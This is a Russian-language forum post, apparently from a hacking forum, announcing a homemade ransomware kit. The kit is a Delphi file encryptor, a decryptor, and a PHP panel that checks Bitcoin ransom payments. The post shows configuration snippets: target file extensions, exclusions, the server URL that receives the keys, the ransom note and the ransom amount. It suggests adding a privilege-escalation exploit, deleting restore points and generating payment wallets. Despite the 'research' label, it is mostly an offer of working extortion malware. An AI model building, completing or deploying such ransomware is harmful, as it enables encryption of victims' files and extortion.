1) Вступление
2) Особенности софта
3) Настройка и скрины
4) Рекомендации
5) Выводы
6) Исходники
7) Лицензионное наставление
1. Вступление
Всем привет, после публикации первой статьи пришло много отзывов и просьб на ее основе сделать простой ransomware/шифровальщик. После долгого обдумывания и тройку бессонных ночей был сделан простой пример онлайн шифровальщика с автоматическим приемом оплаты. Данный софт разработан для исследования и обучения.
2. Особенности софта
- разработаны панель, шифровальщик и дешифровальщик
- комментарии во всех исходниках
- не зависит от сторонних dll
- работает на всей линейки OS Windows
- работает на архитектуре x86 и x64
- компилируется x86 и x64
- компилируется на всей линейки Delphi 7-XE10
- не требует установки сторонних модулей и компонентов Delphi
- ~40кб х86 - ВАУ как это возможно! (это вам не 18Мб)
- использует шифрование AES+AES-NI c 256 битным ключом без отступов с блоковой связкой CBC
- частичное шифрование происходит без изменения размера файла
- ключ и вектор генерируется случайным образом и отправляется на сервер
- для оповещение пользователя используется файл-инструкция
- автоматическая проверка оплаты
- панель совместима со всеми версиями php
3. Настройка и скрины
стаб lock.dpr:
Код:
// длина шифрования
len:Cardinal=1024*16;
// расширения или файлы ищем, через ;
url:AnsiString='http://fse/web.php;';
// расширения или файлы ищем, через ;
ext:AnsiString='.jpg;.bmp;.png;';
// расширения или файлы игнорируем, через ;
nxt:AnsiString='.exe;.dll;.lnk;.com;.sys;boot.ini;ntdetect.com;bootfont.bin;ntldr;bootmgr;bootnxt;bootsect.bak;ntuser.dat;pdoxusrs.net;\windows;\program;';
// описание текста инструкции выкупа
txt:AnsiString='You identification number: %ID%'#$D#$A'For decrypt you files, you need open url: http://site.com';
// название файла инструкции выкупа
fxt:AnsiString='readmy_for_decrypt.txt';
панель web.php:
Код:
// адрес базы
$user_host = 'localhost';
// имя юзера
$user_dbuser = 'root';
// пароль к базе
$user_dbpass = '';
// имя базы
$user_dbname = 'lock';
// порт к базе
$user_port = '3306';
// сумма выкупа в BTC
$pay = 0.01;
Скрин запроса ID при первом входе юзера web_1.jpg
Скрин отображения суммы и кошелька для оплаты, инструкция по оплате web_2.jpg
Скрин если оплата произведена и инструкция с ключом по дешифровке web_2.jpg
Скрин программы по дешифровке
4. Рекомендации
Что еще можно сделать для полноценной работы:
панель:
- добавить отсылку информации о системе в панель
- сделать дополнительные проверки безопасности панели
- сделать автогенерация кошельков в панель
- сделать админку в панели
- сделать красивый дизайн
стаб:
- сделать многопоточную работу
- добавить генерацию картинки-инструкции на рабочий стол
- добавить эксплойт для повышения прав
- добавить удаление контрольных точек
- добавить имена файлов которые надо шифровать полностью или с максимально
билдер:
- разработать с шифрованием параметров
- сделать систему контроля целостности файла
инлокер:
- добавить кнопки отдельной расшифровки папки и файла
- сделать проверку на корректность расшифровки
5. Выводы
Я постарался сделать все как можно проще и понятнее. Выбрал работу в однопоточном режиме для простоты поэтому и скорость работы не сильно большая. Так же многие решения были выбраны из за ограниченного количества времени. Дамп базы я приложил, сгенерировать кошельки можете в биткоинкоре, после добавьте в базу, как в примере, т.е. каждый раз как человек попадает на сайт и вводит ИД ему система выдает кошелек, так что кошельков надо не мало. Так же надо подправить путь к расшифровщику (лучше использовать zip + пароль, его написать рядом с линком), текст более подробнее сделать.
Софт был проверен мной по мере возможности, но не исключаю мелкие баги, т.к. систем контроля было использовано по минимуму и тестировалось в ограниченных ресурсах. Так что сильно не ругать, а писать баг репорты. Бинарники я не прикладывал, чтобы не натворили делов с дуру, компилируйте сами. Всем спасибо кто дочитал.
Ахтунг, будьте бдительны!
6. Исходники
Скрытый контент для зарегистрированных пользователей.
7. Лицензионное наставление
Продажа любых вариаций софта без разрешения автора запрещена, репост без авторства запрещен, имейте совесть!
Последнее редактирование: